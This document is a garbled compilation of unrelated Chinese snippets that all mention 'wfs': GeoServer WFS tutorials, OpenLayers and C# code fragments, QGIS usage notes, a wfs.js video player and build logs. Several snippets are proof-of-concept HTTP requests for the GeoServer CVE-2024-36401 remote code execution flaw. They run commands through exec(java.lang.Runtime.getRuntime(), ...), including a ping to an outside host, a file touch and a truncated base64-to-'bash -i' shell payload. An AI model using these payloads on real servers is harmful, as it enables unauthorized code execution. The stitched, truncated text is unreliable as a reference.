概述 本节讲述Geoserver的wfs服务,通过GetFeature接口实现feature的获取,查询等。 示例url: http://localhost:8088/geoserver/lzugis/wfs? 示例URL: http://localhost:8088/geoserver/lzugis/wfs? 示例URL: http://localhost:8088/geoserver/lzugis/wfs? 示例URL: ——like '%州%' http://localhost:8088/geoserver/lzugis/wfs?
说再多的概念不如实际的举例更让人印象深刻,笔者这里就讲讲如何通过前面安装配置好的GeoServer发布一个WMS/WFS服务。 如下图所示: 点击保存按钮会进入【图层预览】页面(点击左侧的【图层预览】也可以),如下图所示: 点击我们发布图层的所有格式复选框,我们可以看到这个图层数据同时支持WMS和WFS服务,我们需要什么样服务类型的接口 如果我们选择浏览器支持的数据格式如WMS的JPEG,浏览器会直接打开这个数据;如果选择浏览器不支持的数据格式如WFS的KML,浏览器会直接下载。 通过这种方式发布的栅格数据就只有WMS服务而没有WFS服务了,如下图所示。这其实也不难理解,将矢量数据栅格化很容易,但是将栅格数据矢量化就相对较难。
【表1 WFS支持的操作】 操作 描述 GetCapabilities 生成元数据文档,描述服务器提供的WFS服务以及有效的WFS操作和参数 DescribeFeatureType 返回WFS服务支持的要素类型的描述 > <wfs:GetFeature service="WFS" version="2.0.0" outputFormat="json" xmlns:wfs="http://www.opengis.net /2.0.0/wfs.xsd"> <wfs:Update typeName="test:multipolygons"> <wfs:Property> <wfs:ValueReference >name</wfs:ValueReference> <wfs:Value>bound</wfs:Value> </wfs:Property> <wfs:Property > <wfs:ValueReference>other_tags</wfs:ValueReference> <wfs:Value>test</wfs:Value>
关键代码: 添加wfs图层 wfs = new OpenLayers.Layer.Vector("wfs", { strategies: [new ); wfs.filter = filter; wfs.refresh(); }) 空间查询 = filter; wfs.refresh(); map.zoomToExtent(wfs.getDataExtent()); = filter; wfs.refresh(); map.zoomToExtent(wfs.getDataExtent()); = filter; wfs.refresh(); // map.zoomToExtent(wfs.getDataExtent());
2.23.6 2.24.0 <= GeoServer < 2.24.4 2.25.0 <= GeoServer < 2.25.2 利用条件 无需任何利用条件 漏洞复现 POST /geoserver/wfs HTTP/1.1 Host: ip Content-Type: application/xml Content-Length: 339 <wfs:GetPropertyValue service=' /2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime( ),"ping dgrh3.cn -c 1")'> <wfs:Query typeNames='topp:states'/> </wfs:GetPropertyValue> 批量脚本 id: CVE- :fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference
兼容WMS和WFS特性,支持PostgreSQL、Shapefile、ArcSDE、Oracle、VPF、MySQL、MapInfo,支持上百种投影,能够将网络地图输出为jpeg、gif、png、SVG = GeoServer < 2.25.2 2.24.0 <= GeoServer < 2.24.4 GeoServer < 2.23.6 0x04 漏洞详情 POC: GET /geoserver/wfs :GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes ='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames ='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs
如 Shapefile、PostGIS、Oracle Spatial、ArcSDE 等)发布地理空间数据,并通过标准的 OGC(Open Geospatial Consortium)协议(如 WMS、WFS :GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes ='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames )}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue> CVE-2024-36401 漏洞的验证方式有两种,一种是上面的 POST 方式,一种是 GET 方式,GET 验证方式的数据包如下: GET /geoserver/wfs?
POCPOST /geoserver/wfs HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8Content-Type: application/xmlConnection: close<wfs :GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes= 'http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='topp :states'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'执行的命令')</wfs:valueReference></wfs
POC POST /geoserver/wfs HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) :GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes ='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames ='topp:states'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'执行的命令')</wfs:valueReference > </wfs:GetPropertyValue>
引入wfs.js,按自己需求进行微调,前期由于里面参数调整不到位,读帧的速度没调整好(_this.H264_TIMEBASE = 3000),导致帧跳跃。 编写页面进行播放: h.264 To fmp4 h.264 To fmp4 window.onload = function () { if (Wfs.isSupported()) { var video1 = document.getElementById(“video1”), wfs = new Wfs(); wfs.attachMedia(video1,’ch1′); } }; 总结了几个地方需注意和优化
"当前库存", "库存下限", "库存上限" }; using (FileStream wfs Document(PageSize.A4,10, 10, 20,20); PdfWriter write = PdfWriter.GetInstance(docPDF, wfs ;//将表格添加到pdf文档中 docPDF.Close();//关闭 write.Close(); wfs.Close
基础地理数据服务 打开天地图官网(https://www.tianditu.gov.cn/),选择开发资源—数据API打开 天地图提供了来源1:100万地形数据的交通,水系,水面居民地等要素可以看到该数据服务为WFS 复制服务URL,打开QGIS,创建新的WFS连接 添加选中的图层到项目 行政区划服务为县级,总体数据量过大,加载会有一定的缓慢 加载完毕后右键将图层另存为shp格式 用同样的方法还可以下载天地图上发布的一些数据服务
service=WFS&version=1.0.0&request=GetCapabilities <Name>标签中的信息,就是地理图层列表。 service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat= service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican
基础地理数据服务 打开天地图官网(https://www.tianditu.gov.cn/),选择开发资源—数据API打开 天地图提供了来源1:100万地形数据的交通,水系,水面居民地等要素可以看到该数据服务为WFS 复制服务URL,打开QGIS,创建新的WFS连接 添加选中的图层到项目 行政区划服务为县级,总体数据量过大,加载会有一定的缓慢 加载完毕后右键将图层另存为shp格式 用同样的方法还可以下载天地图上发布的一些数据服务
GeoServer 支持 OGC 过滤器表达式语言和 OGC 通用查询语言 (CQL),主要影响 Web 要素服务 (WFS) 、Web 地图服务 (WMS) 和 用于ImageMosaic 覆盖的 Web transform:103, TransformerBase (org.geotools.xml.transform) encode:247, GML2OutputFormat (org.geoserver.wfs.xml ) write:261, GML2OutputFormat (org.geoserver.wfs.xml) write:199, WFSGetFeatureOutputFormat (org.geoserver.wfs
常用到的WMS、WFS、WCS、WMTS等。 4.1 WMS WMS的全称是Web Map Service,web地图服务。 HEIGHT=355& BBOX=-13888944.635145342,2867630.7173607955,-7451112.364854658,6340929.2826392045 4.2 WFS WFS服务的全称是Web Feature Service,web要素服务。 https://ahocevar.com/geoserver/wfs? service=WFS& version=1.1.0& request=GetFeature& typename=osm:water_areas& outputFormat
,通常容器格式是 ISO BMFF (Fragmented MP4) = fMP4 elsampsa/websocket-mse-demo[9]: RTSP > fMP4 ChihChengYang/wfs.js [9] elsampsa/websocket-mse-demo: https://github.com/elsampsa/websocket-mse-demo [10] ChihChengYang/wfs.js : https://github.com/ChihChengYang/wfs.js [11] bilibili/flv.js: https://github.com/Bilibili/flv.js [12
GeoServer发布地图服务(WMS、WFS):详细论述了使用GeoServer发布地图服务WMS和WFS的过程。 网络要素服务(WFS)详解:通过实例详细介绍了WebGIS中网络要素服务(WFS)的具体内容。 倾斜单体化模型技术实现:详细介绍了倾斜单体化模型的四种实现思路。
SUCCESS [ 10.776 s] [INFO] WFS UI Module ..................................... SUCCESS [ 1.009 s] [INFO] WFS UI Module ..................................... periodic enforcement task set up every 10 SECONDS 05 三月 21:31:39 INFO [org.geoserver] - Loaded service ""wfs GeoServer configuration lock is enabled 05 三月 21:31:41 INFO [ows.OWSHandlerMapping] - Mapped URL path [/wfs TestWfsPost] onto handler ""wfsTestServlet"" 05 三月 21:31:41 INFO [ows.OWSHandlerMapping] - Mapped URL path [/wfs
取消wfs查询数据 可以使用一下两种配置: 元数据服务取消选择; Maximum number of feratures,设置其值为0;